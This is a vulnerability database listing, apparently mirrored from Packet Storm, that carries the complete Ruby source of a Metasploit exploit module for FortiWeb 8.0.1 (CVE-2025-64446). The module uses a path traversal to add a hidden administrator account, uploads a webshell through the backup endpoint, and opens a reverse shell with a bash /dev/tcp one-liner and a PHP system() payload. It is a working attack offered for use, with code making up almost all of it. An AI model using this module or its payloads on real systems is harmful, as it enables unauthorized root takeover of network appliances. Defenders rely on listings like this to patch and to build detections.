Lucene search
K

📄 FortiWeb 8.0.1 Authentication Bypass / Code Execution

🗓️ 23 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 62 Views

Metasploit module exploits FortiWeb CVE-2025-64446 for root RCE via auth bypass and file upload.

Related
Code
==================================================================================================================================
    | # Title     : FortiWeb 8.0.1 Authentication Bypass + File Upload RCE Metasploit Module                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.fortinet.com                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a critical Remote Code Execution vulnerability in FortiWeb’s (CVE-2025-64446) management interface by chaining multiple weaknesses:
    
    Authentication Bypass → Path Traversal → Arbitrary File Upload → Remote Code Execution (root)
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FortiWeb Remote Code Execution (CVE-2025-64446)',
            'Description' => %q{
              This module exploits a critical vulnerability in FortiWeb management interface
              that combines Authentication Bypass, Path Traversal, and Arbitrary File Upload
              to achieve Remote Code Execution as root.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-64446']
            ],
            'Platform' => ['linux', 'unix'],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Linux (Reverse Shell)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'Type' => :linux_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0
          )
        )
    
        register_options([
          Opt::RPORT(8443),
          OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('USERNAME', [false, 'Temporary admin username', 'pwnedadmin']),
          OptString.new('PASSWORD', [false, 'Temporary admin password', 'Pwned123!']),
          OptString.new('WEBSHELL_PATH', [false, 'Webshell path', '/pwned.dat'])
        ])
    
        register_advanced_options([
          OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell callback', 15])
        ])
      end
    
      def check
        print_status("Checking if target is vulnerable...")
    
        test_username = Rex::Text.rand_text_alpha(8)
        test_password = Rex::Text.rand_text_alpha(12)
    
        if create_admin_user(test_username, test_password)
          delete_admin_user(test_username)
          return Exploit::CheckCode::Vulnerable
        end
    
        Exploit::CheckCode::Safe
      end
    
      def exploit
        print_status("Starting exploitation against #{peer}")
    
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
    
        unless create_admin_user(username, password)
          fail_with(Failure::NotVulnerable, "Failed to create admin user")
        end
    
        unless login_admin(username, password)
          fail_with(Failure::UnexpectedReply, "Login failed")
        end
    
        webshell_path = upload_webshell
        fail_with(Failure::UnexpectedReply, "Webshell upload failed") if webshell_path.nil?
    
        register_files_for_cleanup(webshell_path)
    
        trigger_shell(webshell_path)
        delete_admin_user(username)
    
        Rex.sleep(datastore['SHELL_TIMEOUT'])
      end
    
      private
    
      def create_admin_user(username, password)
        payload = {
          "../../mkey" => username,
          "password" => password,
          "isadmin" => "1",
          "status" => "enable"
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.add'),
          'ctype' => 'application/json',
          'data' => payload.to_json
        })
    
        res && res.code == 200 && res.body.include?('success')
      rescue
        false
      end
    
      def login_admin(username, password)
        payload = {
          "username" => username,
          "password" => password
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/login'),
          'ctype' => 'application/json',
          'data' => payload.to_json
        })
    
        res && res.code == 200 && res.body.include?('success')
      rescue
        false
      end
    
      def upload_webshell
        shell_code = generate_payload
        b64_shell = Rex::Text.encode_base64(shell_code) + "AAA=="
    
        data = Rex::MIME::Message.new
        data.add_part(
          b64_shell,
          'application/octet-stream',
          nil,
          "form-data; name=\"upload-file\"; filename=\"#{Rex::Text.rand_text_alpha(8)}.dat\""
        )
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/system/maintenance/backup'),
          'ctype' => "multipart/form-data; boundary=#{data.boundary}",
          'data' => data.to_s
        })
    
        return datastore['WEBSHELL_PATH'] if res && res.code == 200
    
        nil
      rescue
        nil
      end
    
      def generate_payload
        case target['Type']
        when :linux_cmd
          p = payload.encoded
          return p if p && !p.to_s.empty?
          "bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"
    
        when :unix_cmd
          return payload.encoded
    
        else
          return %Q|<?php system("bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"); ?>|
        end
      end
    
      def trigger_shell(webshell_path)
        send_request_cgi({
          'method' => 'GET',
          'uri' => webshell_path
        }, datastore['SHELL_TIMEOUT'])
        true
      rescue
        true
      end
    
      def delete_admin_user(username)
        payload = {
          "../../mkey" => username
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.delete'),
          'ctype' => 'application/json',
          'data' => payload.to_json
        })
    
        res && res.code == 200
      rescue
        false
      end
    
      def lhost
        datastore['LHOST']
      end
    
      def lport
        datastore['LPORT']
      end
    
      def peer
        "#{rhost}:#{rport}"
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2026 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.19.8
EPSS0.9299
SSVC
62